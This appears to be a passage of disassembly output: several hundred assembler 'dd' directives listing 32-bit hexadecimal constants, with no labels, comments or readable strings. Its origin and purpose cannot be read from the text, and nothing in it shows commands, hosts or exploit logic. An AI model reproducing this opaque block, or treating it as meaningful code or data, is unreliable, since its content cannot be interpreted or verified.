		dd 92A210A3h, 0C700E1E2h, 4C8ACEh, 98238568h, 0F860E7DEh
		dd 6FDAFD02h, 0C2B33C1Fh, 0A91A8C40h, 0A8AD52F5h, 40809D26h
		dd 0C51BBF7Dh, 50230500h, 0C08AEBE2h, 749B0048h, 0B024F63Ch
		dd 14262D12h, 0C4640029h, 4934C560h, 20CA7323h,	0DE20033Ch
		dd 56D95034h, 7F832F5h,	85912495h, 9A723A80h, 0CFF8A48Fh
		dd 0A9498D98h, 7028803Ch, 28B8C293h, 21C00889h,	4780B63Eh
		dd 4D72C4A1h, 1A4486DCh, 94F5CB6h, 0A5A2F90Eh, 742945A0h
		dd 89AC193h, 0E8CD50CAh, 0F9A14EC3h, 0C219A572h, 18C0CB25h
		dd 0C11EC8h, 6673DAF6h,	9C228581h, 19DB80A1h, 7F4E34C4h
		dd 0A4685273h, 34F93DC0h, 0CB267714h, 7260E415h, 1EF683Ch
		dd 0F22AEB84h, 3073C27Dh, 345CAF58h, 3FF82328h,	50C36C9Dh
		dd 0CBBBE02Eh, 0C27036Ch, 0FEF0A39Fh, 933069D6h, 451DF91Fh
		dd 960F010Dh, 67B1E99Dh, 0B2E4732Dh, 0D4BC3085h, 6CFCBE00h
		dd 87352882h, 0E4EC146Fh, 0B448B88Dh, 48217811h, 984F10B0h
		dd 0F73DCEC0h, 0B4B1D99Eh, 3AC7ECC0h, 2FA60052h, 0FCA474Fh
		dd 8050E175h, 69888DA0h, 0FDEE48AEh, 31776E00h,	3EA15906h
		dd 840154FCh, 9F136311h, 0B8629429h, 7D3CC600h,	0C4A93DDBh
		dd 153F1C01h, 2A51BF43h, 98F878F9h, 0BAFB4816h,	0B8E17C19h
		dd 8CF184Ah, 0C19ECA3Ah, 0ED400FC4h, 0D1753AC4h, 0B48E8506h
		dd 44803E81h, 63003609h, 0FDEA3B62h, 0C076B09Ch, 21FF1619h
		dd 712C992Dh, 660BAC91h, 0E4FC229Dh, 235A20F9h,	2801B456h
		dd 0D1B97CA4h, 1C298694h, 99C86200h, 5D7A08A3h,	0FDCF1C00h
		dd 0E1F23E2Dh, 47B8949Fh, 0DC0ECB12h, 0C137B884h, 9FC5E4h
		dd 0C7FFBFB6h, 806EDC91h, 0BA6A18BEh, 0EA5F6904h, 0B8CC95F6h
		dd 0BFA218F2h, 1E6611FCh, 3C964172h, 7D3EBFC1h,	3F5020h
		dd 904AA92h, 4637EDDDh,	3C00E2EEh, 74B96261h, 0F8A839h
		dd 0E091EF26h, 2AD9B6EBh, 2D89DA04h, 8806C2Fh, 1831115h
		dd 0B617B028h, 0C9801B0Eh, 6801CCC3h, 0E4EAC600h, 0D6EC98BCh
		dd 89837h, 54058FB9h, 622AC557h, 1839E00h, 0F0D73F50h
		dd 0ADEF01D4h, 37688286h, 2955F44Ah, 0BB33A400h, 7F6789A6h
		dd 3EC5006Dh, 0D1BCBEB3h, 2100B450h, 0AC97CD31h, 98D996C0h
		dd 0F97200F0h, 0E1A471C8h, 4B0EB064h, 7DBA11Eh,	0CA101F17h
		dd 0D795BCh, 7E6B4B1h, 36238E14h, 2DB09B00h, 7E8A7550h
		dd 4A210031h, 597DAFAh,	0A200E87Ch, 29FB63ADh, 16EF196Dh
		dd 0BF6607h, 15E094A7h,	60010588h, 69842014h, 48803A93h
		dd 75E126F4h, 0DD12EE5Ch, 0C422DB8Bh, 0CE94812Dh, 0A8D35F88h
		dd 7B7DAC4h, 2F4163BDh,	9E9B0189h, 0AD588020h, 0BB0D44F8h
		dd 0C950090h, 0C3ACCF02h, 1E5C7BA0h, 80763976h,	5FC947E4h
		dd 480EE6DDh, 0C09D10F8h, 2AC3A75Dh, 3300ACB1h,	20658FF6h
		dd 25791Ch, 12DA71A2h, 93BA02A5h, 0E6039000h, 7E8BBC0Fh
		dd 7CA0041h, 0E3695D1Ch, 0AD0051FCh, 0FD44F521h, 3AC1BF1h
		dd 0B3087718h, 86D8AED3h, 0FB7E7CE9h, 88BEC807h, 3E90030Eh
		dd 78A54E02h, 4A6A1CD8h, 93DD074Bh, 0D97E3A0h, 0E58DCFE0h
		dd 0FAA4983Fh, 4900CC79h, 0D4109FD9h, 85218Eh, 0B2636130h
		dd 86474C5Eh, 1AB3FA03h, 0A005DBA5h, 4DCDB959h,	6D0FC0E1h
		dd 81A057DCh, 0E577BC32h, 8AA72E00h, 7967DA15h,	89CC00B8h
		dd 5019E9CEh, 450FD625h, 20E693C0h, 0DA1820E7h,	0D3020049h
		dd 17E24235h, 0A31DA279h, 6800DC73h, 8F015977h,	1CFC0153h
		dd 0CA45B0E1h, 0C1E97091h, 0EFAF440Eh, 2B0D4002h, 3D6B4E6h
		dd 9F03799h, 428AB954h,	3402B472h, 588FADB6h, 3A8C9072h
		dd 0E070BDFCh, 0A25B6C07h, 0D0BC9E3Ch, 0AAD700EDh, 0D25A5C71h
		dd 8004BC59h, 0E0418861h, 0F5401487h, 0BE78C5h,	96A44D0Fh
		dd 7E7A3908h, 0DDE8A754h, 14D84814h, 0BD600EAFh, 0F7185889h
		dd 1E397E44h, 56DC0498h, 30542012h, 0CA0019C9h,	4FB92878h
		dd 1E346824h, 40E1D81Ch, 9CB3CD2Eh, 63006AE8h, 61323EBEh
		dd 5C5D810Fh, 0FF0074A5h, 5C2F21B1h, 2E732BA9h,	0A6D1DB0Eh
		dd 55B4E0DFh, 77EFA0h, 237E87ECh, 363C380Ah, 0C2665Ch
		dd 80018D1Ch, 958652h, 387221C9h, 5931AE5Eh, 0E70099EAh
		dd 32017E84h, 708B75BEh, 0A6D21805h, 6D208C4Ch,	804B9A3Ah
		dd 85031AA3h, 2C1DED6h,	86EADBCCh, 1050E857h, 0FC03D173h
		dd 0E5D6E2C2h, 31881F2Bh, 4043DF25h, 0C699B191h, 4F29498h
		dd 0FC22EA00h, 967323A6h, 5916008Ch, 672FB930h,	4D00CEE3h
		dd 35ABFEB5h, 0E8CD42B0h, 532E0011h, 0A585726h,	0D409E671h
		dd 33AA514h, 0B15E5600h, 0EF42A59h, 408101D9h, 0F8066DBh
		dd 5EC2CCEh, 42174CFh, 4E08A880h, 609700DCh, 0D3992B1Fh
		dd 0F51440F3h, 1F4E5B8h, 0DDB163FEh, 1181FDB5h,	2CB0331Bh
		dd 30D3CD7Ch, 8C90FC78h, 27B6F412h, 2F7FD80Fh, 0F6A420D5h
		dd 0AD1E01h, 7C80FD8Bh,	271B99CCh, 9B582E00h, 7276BFEAh
		dd 0F8EAD5h, 0B3157CF1h, 6E861F5Eh, 0E3706C90h,	21CD5B30h
		dd 2A4CED14h, 0B0F593h,	9F404D4Fh, 7D6B59FFh, 850A7500h
		dd 0A0CADC8Ch, 0CFE324EDh, 0D5900033h, 0B950D28Fh, 9D009AE4h
		dd 46A6311Bh, 0C701ECEh, 9B9E8D72h, 0C7022218h,	19EF0512h
		dd 0F19080A9h, 68CFBFFh, 5EA746D0h, 331F289Dh, 0E68F5CA0h
		dd 15AB4021h, 7C83CFCh,	988F35A8h, 0EAC20052h, 8100504Eh
		dd 0AD54D365h, 1975767h, 0C9C37179h, 0E895CCBAh, 34504E1Eh
		dd 263AD8F0h, 0A7AE0056h, 1320724Dh, 0ABE103A9h, 0B01CE0A4h
		dd 7A5256A0h, 8B530700h, 15596D2Dh, 49320097h, 0AA8FD2B5h
		dd 650B0879h, 81808486h, 3CB6FEDAh, 2347C4h, 0A70DBEE9h
		dd 20212DDFh, 9750F500h, 0ACF98509h, 90410081h,	197BA85Eh
		dd 3900EAE5h, 981529B3h, 2C0EDEh, 5F9FE3ACh, 11F48883h
		dd 0D6F4B677h, 0DC92FC24h, 15D89340h, 0BC275E58h, 87590115h
		dd 0B98CF088h, 4E2D0CBh, 1A3C00ECh, 947525A1h, 0B89A715Fh
		dd 46CC28A0h, 0B9209004h, 0C0AA954Eh, 0BD0EE9E3h, 0A600E075h
		dd 9C46C1C4h, 0E6CB622h, 63E4CDB1h, 4D03D02Fh, 0BAC0284Ah
		dd 0C828D266h, 0AF000842h, 87BE29DCh, 2A9E024h,	0FD949F32h
		dd 506812A2h, 7D606FDCh
		dd 0C4B15489h, 0DD020188h, 0D79F1DC1h, 86E8F32Dh, 9BEADB72h
		dd 18489728h, 1296FA00h, 0C1DC628Bh, 657472h, 1041DC2h
		dd 0AD40F073h, 198A4300h, 0BBC1C70Bh, 0AFEE00CCh, 75655E7Dh
		dd 0F00D014h, 0B07B4248h, 5E2BA6Ch, 0AECC38CFh,	52388047h
		dd 0B472D473h, 0F4C25A00h, 0F2D9CB87h, 75720BE6h, 0D0AFFD3Dh
		dd 40D6EE6Eh, 7424F5D8h, 75007F0Fh, 7D49ACDDh, 6862A6h
		dd 953614Eh, 0CF72ED2Eh, 12BDFA07h, 0AA20EF9Dh,	0E274B20h
		dd 4AF3788Ch, 0F8E91F40h, 7B000D8Fh, 12053E2h, 3357BFh
		dd 130E3568h, 9C56FB79h, 0C801547Ch, 97EA9DAh, 64DD0773h
		dd 0F1AAD4h, 3E724C1Eh,	836A1470h, 0A3FF1900h, 5F2E8229h
		dd 0BDEC0081h, 0A96E97ACh, 8400EF6Dh, 366949D7h, 0DC4A0F2h
		dd 507EFD5Ch, 0EA7DD08Eh, 2E5D8400h, 4767C509h,	28C0504h
		dd 0E30ADE94h, 0BF04D098h, 8E019BE8h, 0A060428h, 1980FE19h
		dd 0C3A14A22h, 39118BD1h, 3300F114h, 9E497299h,	7400FFDBh
		dd 44FFBE6h, 0EC379F88h, 0C0B577F7h, 73176A61h,	5F1D9283h
		dd 2D8B7721h, 0B5608114h, 70F4F513h, 0F6BE30B2h, 2A576031h
		dd 0EF933100h, 7DD44E3Ch, 0AE9900F8h, 686B05F2h, 0C41FFB08h
		dd 9847F4CFh, 9680168Fh, 0BC8197h, 88744E93h, 1EEED808h
		dd 489253Dh, 7A9D536Bh,	7B18A0C8h, 649800CCh, 31BEDE5Ah
		dd 6C09F0DCh, 0E17CC5F6h, 0D5606FCCh, 0F2ED048Dh, 0A93819E2h
		dd 669B030Ch, 98491179h, 0C00DC283h, 8CE82370h,	7B06197Eh
		dd 75DA8B74h, 0F8710718h, 0C90C3D65h, 9C72CD87h, 6E313131h
		dd 8597DE61h, 3F66030h,	68722519h, 0E815068Ch, 1B8CB3BFh
		dd 2C4F07Fh, 7E94CB60h,	0D88B096Bh, 8EADEA01h, 7D118068h
		dd 0F0156CC3h, 82D9286Dh, 7FB57790h, 232E034Bh,	0EF83A56Bh
		dd 0C2088AE8h, 12BBFA03h, 0F8E06377h, 4A29D90h,	0C161817Dh
		dd 71089802h, 4D418300h, 9B05EDDAh, 6247D64h, 68937F43h
		dd 6D005085h, 0C8C6A82Fh, 62177DF7h, 19BEC8F8h,	0FD4CD20h
		dd 0A88200D5h, 8D23AA05h, 43008F4Fh, 16775572h,	0CFF544Ah
		dd 69F9F0E4h, 3707C6F0h, 8A1E3475h, 0CF30C710h,	936127F5h
		dd 0A48000AFh, 3923650Fh, 0E408550Bh, 6F544001h, 0B4E01Eh
		dd 97FBF20Dh, 0BEF51CABh, 0A1FCF100h, 0C9C87759h, 94791B16h
		dd 1903F0DDh, 0BF30D7BDh, 14B900F0h, 81A31D2Ah,	0A5712D51h
		dd 5A0094EAh, 97F1B7A7h, 34A1825h, 6DF4B9C8h, 0F839F6D0h
		dd 43FC809Fh, 0FFD5A4DEh, 0CA900E97h, 0F5627BD3h, 684AD775h
		dd 8131D861h, 52667119h, 0F07C1774h, 1B040321h,	84813A95h
		dd 37001EBBh, 0E492669Dh, 62BA530Fh, 0D31D6090h, 0EAEF5F4Dh
		dd 50E87E7Fh, 394A40Fh,	0A62E2324h, 57E07E1Eh, 0C81EF673h
		dd 0A91E3BE3h, 72241400h, 0E18756D3h, 0E236FB60h, 0E4CC009Eh
		dd 5CC5F877h, 0D071C2ECh, 51C4ED00h, 0BFA36C3Ch, 0D5713965h
		dd 0ECB76D00h, 0D2C7254Ah, 0C9F74C00h, 937B3E4h, 2F4B1F14h
		dd 18B218CFh, 270A73A4h, 2002FCB1h, 2029AAF3h, 96A813D6h
		dd 68D3D707h, 6CF01EB9h, 787F9CD5h, 3C5B7850h, 0B580FBD8h
		dd 2ECB8EDFh, 81011F64h, 5EBD48BEh, 88C4973h, 0D74188B3h
		dd 0DE058A00h, 0EABF82B6h, 5614A847h, 8B4A0728h, 0C7B3E3EEh
		dd 0F8E1E0FDh, 89007B98h, 0A17C5D25h, 2774337h,	6F03B456h
		dd 34ACB991h, 1D00FD08h, 37BFA672h, 11C4EB4h, 4C8E225Dh
		dd 88DEDAC5h, 818FB180h, 0B44F4AA6h, 0E22886A4h, 21415C4Dh
		dd 0A505744h, 3C63007Ah, 3FA984D3h, 791DCDE1h, 5DCF2D43h
		dd 4A78A3Eh, 600E7E50h,	0B90F1071h, 0AB002BDEh,	7D733D50h
		dd 14596BEh, 7E3C61C8h,	0DCE21E80h, 0CF6ED911h,	7CE8C429h
		dd 48CDFA04h, 0DD6842E4h, 6520C524h, 0D8816024h, 0D7442708h
		dd 443284F9h, 10BC51CBh, 0AD89D909h, 0D06EFD08h, 5C849029h
		dd 0EB8144D3h, 926DC600h, 16C00656h, 8B25C9B1h,	335E006Eh
		dd 0FFF43439h, 0B000607Ch, 0DA8419DEh, 31C0EE6h, 5F265A8Fh
		dd 49A89FD3h, 4300A19Ah, 0CF7CF65h, 0D50BDBh, 6BC52029h
		dd 0E3E0CEECh, 0C7508A00h, 83D155FDh, 18DD01E4h, 16A5C653h
		dd 4B74F849h, 3C19500h,	171E4088h, 0E8BB0114h, 26E343A0h
		dd 0A7FFC04Eh, 9EA5AA00h, 5AB30493h, 0E25E009Ch, 65245D47h
		dd 0D5F62881h, 0E3C30900h, 0A10FA674h, 5DF6075Eh, 90632A89h
		dd 0EDA62CEh, 9F8B3200h, 2F8FDEEBh, 5B9907C5h, 0F823BCh
		dd 0C464A83Eh, 0FE17E100h, 5A9CB0A0h, 0E4820038h, 7514D3C3h
		dd 0F0B5D9F7h, 9BF90021h, 0F88ECE55h, 0D83C549Ah, 6B0C00ADh
		dd 2251C384h, 4B5C0045h, 2844412Eh, 0E5078BD9h,	8780E9C9h
		dd 0ACF8ED70h, 0BAB900B3h, 0B4014DE7h, 0DA3DEA13h, 60A60F0Bh
		dd 814F4183h, 54C0F3B6h, 0B07F1E28h, 0B4A98B7Dh, 0BAE8F300h
		dd 0E0B7FE56h, 41CBC5h,	0E48D2652h, 4D2FBCF1h, 109BB807h
		dd 0FC40D9EFh, 0E61477F6h, 0AE7270h, 4256A906h,	0AC072A72h
		dd 1A034DFAh, 0BB6B8162h, 85CBF1DCh, 54D68C20h,	74FD8A3h
		dd 2E864330h, 81A220CEh, 0ED00347Bh, 80246A8h, 50C46AEEh
		dd 7FE8C0h, 5887D65Eh, 96E6BC32h, 0D8781E00h, 0BAD78B86h
		dd 26AB3BA1h, 0B94C280h, 0A40521DFh, 0EE9F0C00h, 0B4992FF0h
		dd 9D88A0E6h, 5EE40011h, 74B1C0C7h, 52752046h, 0DCBC1500h
		dd 5A2DD150h, 929F7D66h, 28700E8h, 9DADE9F5h, 68C07AEEh
		dd 7DC78FAFh, 78933033h, 68273958h, 656B7C0Eh, 0A453A11Fh
		dd 0CC40EB45h, 12FB24Bh, 0D49570A7h, 0C8313380h, 2E00B66Eh
		dd 0FF38ED42h, 4DBD1C8Fh, 0FD0020B5h, 40C6C5B7h, 0B9246242h
		dd 0C4826C9Fh, 43674EF0h, 76A0AF34h, 2B0940h, 12CB7825h
		dd 3B3DAE7h, 0AEC35C01h, 0B14BE9DDh, 107E03Eh, 0A0E036E8h
		dd 0DC2E5B18h, 3D4154E9h, 75184F35h, 0DFBA5887h, 94A76801h
		dd 7EA396FDh, 0B94AB8DBh, 3D78EAh, 0C69A8423h, 1B8BA956h
		dd 0DD63600h, 0ABF50E01h, 417024D8h, 383D0074h,	0F75EB58Ah
		dd 2B3BFE00h, 24237587h, 38C87904h, 0B08FE0AFh,	86009AE9h
		dd 45AB0532h, 5E2895F0h, 360184DEh, 0F5C6433Dh,	39E07FFEh
		dd 9E3B1E35h, 0E4A9C0CEh, 90EC0FA3h, 2A0E6000h,	5776A6F4h
		dd 0AB5F004Ch, 0EFA38F36h, 6A77B969h, 7F953B0Fh, 3007D306h
		dd 5A171385h, 6E7E73A0h, 7D67A2Ch, 0D39E8C27h, 0B85BF0B7h
		dd 750462CCh, 0B8944E9h, 1E200488h, 3D2C9E2h, 734523DFh
		dd 0E45FD4D9h, 0F804160Bh, 6EA8A493h, 0B7700C87h, 2ED35BFh
		dd 0F47F7CF6h, 2C4059BDh, 60E2F96Dh, 4600B398h,	0BEBC2B52h
		dd 0EE06A23h, 800720FEh, 37EC9EE0h, 2A1EEE2Ch, 60002888h
		dd 33D69981h, 74A2010Ah, 26AA293Bh, 0E080DEF1h,	1BC74BBEh
		dd 0B8CAC51Fh, 5BFC0C00h, 0A3BD8331h, 0C00ABACCh, 4EA108h
		dd 32507F1h, 916023B6h,	53F6CB00h, 76F069A5h, 0A2663F55h
		dd 7EACD0h, 86A15AD3h, 182CF524h, 90B148h, 364C5BEEh, 1CF61AF4h
		dd 40647371h, 0FCCC2C5Eh, 0A00A442h, 0A75B0466h, 5414EEh
		dd 411094DFh, 932DEDCEh, 9EA0BBF2h, 91009E0Fh, 84A12CA6h
		dd 90DF7E4h, 0C7EAB7AFh, 0D6E0E28Fh, 73B3AE56h,	0ABB052E4h
		dd 620227FCh, 49F6925h,	118080BAh, 30D65C6h, 186B1073h
		dd 4AA0B80Fh, 21F07771h, 0A7E5CF00h, 0FD820932h, 3BDF66Ah
		dd 8E232234h, 6E99F579h, 0FC153091h, 0B04EE603h, 9B5A2E6Ch
		dd 52600370h, 6678925Bh, 0B3743E88h, 0BEB2E300h, 82360643h
		dd 42CB007Bh
		dd 891614DEh, 79737D90h, 749F1000h, 0D5A1318Ah,	40B51F25h
		dd 136141ECh, 0D0E5595Fh, 7100E2B7h, 0FA4CFB0Eh, 0CE7CA6h
		dd 1F8CAF41h, 92158D6Dh, 10072E0Fh, 0EA26087h, 0E66EFCh
		dd 0D46C8CC3h, 78D6D2B9h, 0D0BDEE12h, 1DC0A01Dh, 5E16A6E3h
		dd 0D94100A0h, 0EAFEDB15h, 0C40049A3h, 708C6FC3h, 0CB2980h
		dd 7F16CA95h, 0D648FEECh, 0FC3B00Bh, 538800E5h,	249EF573h
		dd 1A05867h, 5A761B25h,	0C3D8CB90h, 0A0008AEAh,	0AC819513h
		dd 131CB3CBh, 20D62086h, 9ACA593Ch, 1DC27016h, 0CC412C00h
		dd 3F13E347h, 368006C0h, 0A6A99874h, 0A1005502h, 0FE2EDC81h
		dd 929F43Fh, 9A28C42Dh,	976A077Fh, 87DB8370h, 7FE223h
		dd 4992E0A1h, 0DCA87E71h, 0E5B158h, 8EB38445h, 1F2F9503h
		dd 0C0898030h, 0E787DCBh, 7F8A3C6h, 92EA7A60h, 33DA5465h
		dd 2E3180B6h, 25A97FE8h, 0BFF21600h, 96E73488h,	0C54A1DEDh
		dd 0A04DC7FBh, 2C752129h, 0A1AFDCBBh, 0B621EE00h, 94DB063Ch
		dd 4554136Ah, 85B43287h, 0D80B8241h, 896776DAh,	0D710C258h
		dd 1D13242Eh, 0C1076C39h, 82A6C68Eh, 0B2E440D4h, 0FA00EE01h
		dd 0D5AC42DEh, 0FEF609A4h, 850700EAh, 0D913EFE8h, 0B5009C94h
		dd 0CD867516h, 4B18A3h,	7F6C1297h, 463556CAh, 99AF8202h
		dd 576BBBh, 711F0EB1h, 6C245506h, 12853Ah, 68489AA5h, 7233250Fh
		dd 0ACE48100h, 0B92C5AFBh, 0BA640099h, 1DFCC9C0h, 67016B97h
		dd 0A6E22D3Ch, 0F7D3864Dh, 0A55C2190h, 0E3F22EDBh, 0D2CB00D8h
		dd 0D1D51A9h, 0FF340A1Fh, 7E9C0E80h, 0EE17076h,	0C9FA42E4h
		dd 57461AE0h, 0BB090799h, 80F9BACFh, 2417B93Ch,	0DAAB402Ch
		dd 7290CA01h, 0DB75EE0h, 5CA8C8F0h, 0C00F529Ah,	0FA00D502h
		dd 0A26B159Ch, 23401900h, 0DA8D5407h, 4F1226B1h, 8E5200E3h
		dd 0F31D42DDh, 0A8C83F30h, 2EE3AAC3h, 2C802C18h, 0FFEF8040h
		dd 34F7737Ch, 0F87D7700h, 5FB59B15h, 0E518020Dh, 0C70C0F0Ah
		dd 9F77040h, 0BDB8B200h, 9C12EAE6h, 13050598h, 0C392A52Fh
		dd 62B05B08h, 55E20B42h, 48E9900h, 0B79DA310h, 26EF006Fh
		dd 0A1B32D02h, 0DD701FD1h, 0FD150800h, 9D80F2C3h, 18397065h
		dd 10F3932Ch, 41070995h, 0E6F7A4BBh, 63990660h,	2679168Ch
		dd 6AE50032h, 0DC3F733Eh, 0B6AC4402h, 8083F875h, 2C3C8EA4h
		dd 13940356h, 44929153h, 0ECCC7E89h, 6AEE665Bh,	0FE244601h
		dd 0A9F4CE4Eh, 7FC6260h, 0DCDED61h, 0BF9FA130h,	3185D4F2h
		dd 0C30C4714h, 0EE970BA4h, 616490CEh, 0EED85877h, 0E22B0074h
		dd 85B2981Eh, 390B05E4h, 3868B1Bh, 0D3FF1198h, 0A917154h
		dd 0E59D0372h, 80AD1C9Ch, 58D77E25h, 90001C82h,	0B4F61551h
		dd 0CDE9BC6h, 0A8BDF5A6h, 0D60128D8h, 67DCC562h, 0D430E76Dh
		dd 49A10BECh, 0CCA71B86h, 0A8C5F059h, 0B6008BBAh, 874FDB7Eh
		dd 0E271598h, 28047D3Dh, 9F5B813Dh, 2C1847A2h, 716300F0h
		dd 5ECCDBF1h, 7E52005Fh, 2A9A4481h, 0AF0061ACh,	9BDAE142h
		dd 57B53DBh, 0DD364186h, 18CCC09Eh, 9C00FEFFh, 0EF8B9954h
		dd 0A82762h, 0A03AF3CEh, 4B6C71ABh, 0BE0B6400h,	6ED3C46Fh
		dd 779200C0h, 0AC9541B3h, 0A800521Bh, 0E48ACEFFh, 861DFBh
		dd 0BD2E3F5Fh, 6B672DB2h, 870ED300h, 76D85159h,	0F2AA146Eh
		dd 200FB010h, 0BB20A242h, 410DE285h, 73804300h,	5ADEF912h
		dd 155E4DAh, 79062988h,	216AA57Ch, 0E4B8E4C2h, 5DDC6017h
		dd 0A1D96040h, 99D216h,	0DB615CDAh, 0B1EAEE39h,	34380F00h
		dd 28EC37C5h, 8E712631h, 0B6144060h, 0C5E0A6CFh, 513B8F00h
		dd 5D4DEA97h, 48DB28BAh, 86A000F2h, 4C13A536h, 5907F988h
		dd 613374DDh, 60CD9042h, 1DE0E475h, 0AEC37E6Ah,	0BD5F0EBCh
		dd 0E7DEA261h, 0D0306068h, 15EDD303h, 0A8C93E61h, 0A19FDAh
		dd 1321C748h, 57623054h, 0A65B4A09h, 9008001Ch,	56634B5h
		dd 44461B93h, 14CC2091h, 0C5FE33D4h, 1801C774h,	0DCBFBD1Fh
		dd 43C54FCh, 0D6A4E012h, 0F33CB86Ch, 0B02502h, 0F96A93DCh
		dd 5A8201D9h, 0CE627F4Fh, 50E428C4h, 5F001210h,	6DBD979Dh
		dd 0DD77Ah, 408AAD2Fh, 0D64B62E2h, 0C2EC7512h, 91E78D00h
		dd 0A1B9D60h, 780E3718h, 110C0080h, 986C01EFh, 3973280Eh
		dd 8DEEA15Eh, 9F60613Eh, 7EE51E20h, 81DBC067h, 0A89988B9h
		dd 72362F01h, 6F119E87h, 581E96F8h, 0AC3B525Ch,	1A858A80h
		dd 8E8927F0h, 93435900h, 46CB4AB8h, 22B9873h, 129DE5D3h
		dd 0E3C0A5DEh, 3500881Dh, 0B9EB6EAh, 26F06024h,	11AF7C3h
		dd 0C9E58A6Dh, 11EBF82Eh, 8082D33Eh, 0A54723D5h, 979EE63h
		dd 4A37D629h, 85540404h, 0E10470CDh, 0FA0B8930h, 903FBB27h
		dd 2EC64040h, 4B05964h,	0A4ECEBCCh, 0D300D460h,	2C424095h
		dd 1E65E82h, 941BBC4Bh,	30E05871h, 0C50051C0h, 5C8E4FB8h
		dd 0ECCA3B91h, 90E7055Ah, 0D6578h, 1DF4A5B0h, 0D1047D44h
		dd 58C79446h, 8B17A880h, 0F6DBEEE7h, 244E4889h,	4DFC4875h
		dd 3BB00100h, 0CAA010F7h, 3C307800h, 0B4BE2856h, 867E303Eh
		dd 2C320898h, 100068ECh, 4647F9F8h, 0DF84A2h, 2F39741Dh
		dd 0C78ABEF4h, 0A5E37700h, 61EEFCB1h, 8DD8F181h, 0EDA4AC9h
		dd 0A38090A4h, 35E49F70h, 0B8CA5500h, 1A805059h, 0E99B13C0h
		dd 3BCE0238h, 2CE0D16Eh, 0F2070DA6h, 0B04EE2F6h, 0EAC5A8A0h
		dd 533E148Eh, 404D9E99h, 0FAB99D00h, 67C6BA68h,	3B6F7C00h
		dd 7FB3C006h, 7A29003Ah, 0AF85A386h, 2CB87417h,	430AB500h
		dd 0DAD35271h, 9FB4A0DFh, 0E4365073h, 8A720195h, 4883B6FDh
		dd 8C15EC6Bh, 4E23Dh, 4E76E46Fh, 987A27F7h, 9CA600DCh
		dd 3937F65Bh, 157F7EA0h, 0FB994A00h, 275E85Dh, 6B45002Ch
		dd 0C66360CDh, 87037E59h, 1B0D69FEh, 80F9CA07h,	0B93783CCh
		dd 0E3E0A7h, 276FAD4Fh,	0C295821Ah, 882B9200h, 0CDABA3DBh
		dd 0CEE1C9Ch, 0F2749F6h, 8E2DF480h, 9600219Fh, 0C0661915h
		dd 9A3F52Ah, 0DC67ECA6h, 0D91B6100h, 534EC865h,	0D1EC96F1h
		dd 25573A81h, 3AE9AD00h, 12703732h, 140711E2h, 0E8656A92h
		dd 0A4540EC0h, 97982D24h, 0EA956800h, 7E053CAFh, 0A0DCF7B5h
		dd 54A66C90h, 0B2E7914h, 8A996B01h, 0D1DFE013h,	0FC429C6Eh
		dd 473A465Ch, 878C00D6h, 2649E8ACh, 8B5500D4h, 0FA1797DCh
		dd 5900A6C8h, 849F14AFh, 58E67FE4h, 0EE80D8F6h,	691364A3h
		dd 826A5613h, 81C7A85Ch, 93F10D08h, 10ECB97Bh, 0B8B74CAFh
		dd 0E1217A00h, 0F58846A1h, 19CF5600h, 0EB154217h, 0E9A2000Dh
		dd 0CD04C254h, 5C00815Dh, 2CD57DDDh, 27930B9h, 0C7CFC36Ch
		dd 0C60C5A9h, 0CE00CA23h, 0BCD87E83h, 0DE5181h,	0A7F0D0D9h
		dd 47A1EBFCh, 0C4056900h, 9ED3D256h, 0CF1C00CCh, 0B9EE8253h
		dd 3F73C0BBh, 11193D00h, 79B4675Eh, 54E475h, 0B7807C23h
		dd 4C7FDB76h, 70955613h, 0C416E447h, 0B3B7FD17h, 0EFBBE8F0h
		dd 4A61C9Ch, 0C3E8084h,	76AC9EEDh, 6D66CF00h, 387BFDDCh
		dd 69563C99h, 2316DB80h, 7639CA27h, 0EEDFA90Ah,	0CF04B092h
		dd 0D22C47B6h, 0F67A84BAh, 3722922h, 0D522C2A0h, 0B4A945E9h
		dd 30CFFC74h, 7A75C00h,	75114E9Fh, 0DE830786h, 302544D8h
		dd 0C329B338h, 2387D700h, 0DC7CBCC2h, 2715Eh, 2A9C917Eh
		dd 0A95DD61Ah, 0B7F07500h, 5F3CD5C6h, 9D440047h, 7C09CEB8h
		dd 0E703BAB6h, 764B7A32h, 0B414C0D4h, 90160529h, 0C0EAE4C0h
		dd 326EFFFEh, 0F29C0C00h, 0EBD1C93Bh, 45BF0082h, 0A2EACEA1h
		dd 0ED0077FDh
		dd 0F9C36A91h, 7D9A1849h, 45200003h, 17F7C584h,	3E76B355h
		dd 5E6DD60Fh, 1B3940FBh, 708D22EFh, 0B5E500EEh,	0AED32C73h
		dd 0AD245309h, 3407CD9Ch, 9582D1E1h, 0D4D0AFh, 168F8E8Dh
		dd 1D20E68Ah, 5A0040E2h, 79A15F99h, 971577h, 0FA0DEC2Bh
		dd 0AC708E20h, 13C4A58h, 72887DADh, 8405896h, 1C395791h
		dd 3DFF7971h, 0B6302501h, 808595BBh, 3A4E2871h,	3F95550h
		dd 0C6A4B775h, 1DE370B2h, 0BDE4A0E5h, 0D6857801h, 0F05CB721h
		dd 52100886h, 29F0201Fh, 84C310DCh, 7AE2AB2Ah, 3A140620h
		dd 68864AFBh, 56F41A1Ch, 36F98546h, 37447959h, 8C20558Dh
		dd 8C002B59h, 0B46F865Ah, 435D08h, 0B115BB75h, 0AFAA4828h
		dd 0B72ABE01h, 0D7F9D862h, 0C83E488Ch, 5C3A41C0h, 811380C5h
		dd 0FEE1BDDEh, 192E0004h, 0B657ACEh, 0F005088h,	14A90A06h
		dd 4373E1h, 0EE492B4h, 0D204028Bh, 0D75CB600h, 0DADF537Bh
		dd 303603F5h, 0F3253149h, 3F88E9A0h, 0AE95FE01h, 0BFA42FB1h
		dd 3ED2DBD8h, 2587D817h, 30E1CA5Ch, 0F1D31AA1h,	7A2BA50Eh
		dd 8C5960A6h, 32A4850h,	2816DC34h, 5F89A75h, 361754EDh
		dd 0C8DE35C5h, 0D6800442h, 8A5EE2A9h, 2230EEE4h, 0B8501958h
		dd 0B350C02Ch, 7F7D8A2h, 7B290A1Fh, 5397B283h, 412ED93Eh
		dd 613DCF10h, 116A9030h, 19C44FDh, 0B749F05Fh, 9879D884h
		dd 97218308h, 3C9C0540h, 0E8BCBC6h, 89F155Ch, 4780AE7Bh
		dd 2F69FD9Fh, 0D75907C4h, 4F5A9432h, 0C76D2178h, 0E843FC07h
		dd 31200ABDh, 0AE7FF03h, 0D7F0539Eh, 0CF1FDC4Ch, 298C2AE4h
		dd 7331971h, 18369B75h,	55588168h, 5E5D003Dh, 1709834h
